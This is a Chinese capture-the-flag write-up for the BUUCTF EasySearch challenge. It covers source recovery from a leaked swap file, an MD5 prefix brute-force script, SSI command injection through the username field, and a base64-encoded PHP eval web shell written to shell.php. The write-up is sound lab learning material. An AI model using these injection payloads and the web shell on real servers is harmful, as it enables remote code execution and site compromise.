BUUCTF[BJDCTF2020]EasySearch1
- 手机
- 2025-09-14 19:51:01
![BUUCTF[BJDCTF2020]EasySearch1](/0pic/pp_41.jpg)
写一篇文章来学习一下 ssi 注入 以及 dirmap 工具的使用
看到这两个框框没什么想法,边探索边扫下目录吧。显示前端报错,先禁用了js,然后又尝试抓了下包,没有发现什么,只好看看扫出来的目录了,最终扫出来了的: index.php.swp (用dirmap扫出来的)
成功得到源码:
<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8"); *** if(isset($_POST['username']) and $_POST['username'] != '' ) { $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) { echo "<script>alert('[+] Welcome to manage system')</script>"; $file_shtml = "public/".get_hash().".shtml"; $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); $text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***'; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo "<script>alert('[!] Failed')</script>"; }else { *** } *** ?>
虽然两个都显示username,但只有第一个才是真正的$_POST[username]
看一下代码逻辑:
1.首先判断输入的password 的前6位是否为6d0bc1
2.如果满足的话就执行打开文件、写入文件、关闭文件的功能
但是我想着,最终是要读flag的,但这里的东西即使绕过了貌似也是读不到的(一开始我是这样想的,但后面接触了ssi注入,就想到在text这块会有注入)
先来绕过
一、脚本爆破password from hashlib import md5 test='6d0bc1' for i in range(100000000): if md5(str(i).encode('utf-8')).hexdigest()[:6]==test: print(i)可以得到 password:2020666
username不为空就行
最终在包中找到:
访问该路径,可以看到:
这里的123就是注入点了
二、ssi注入ssi注入:服务器包含注入。ssi可以赋予html静态页面的动态效果,通过ssi可以执行相应的命令。
ssi注入的格式为:
<!--#exec cmd="命令"-->
返回index.php尝试注入
成功访问到:
但这样一条条命令执行有些麻烦,尝试写入一句话木马
<?php @eval($_POST['cmd']);?>但直接传入是不行的,需要进行base64加密,所以payload就变成了
username=<!--#exec cmd="echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSkgPz4=|base64 -d> shell.php"-->&password=2020666回到index.php,先抓包,得到public下的路径,访问phtml执行代码,然后再试试public下的shell.php是否存在
此时已成功执行代码,访问shell.php
发现没报错,getshell
最终找到了flag
flag{4ea3197e-d677-4436-a0db-d53adaa9c131}
BUUCTF[BJDCTF2020]EasySearch1由讯客互联手机栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“BUUCTF[BJDCTF2020]EasySearch1”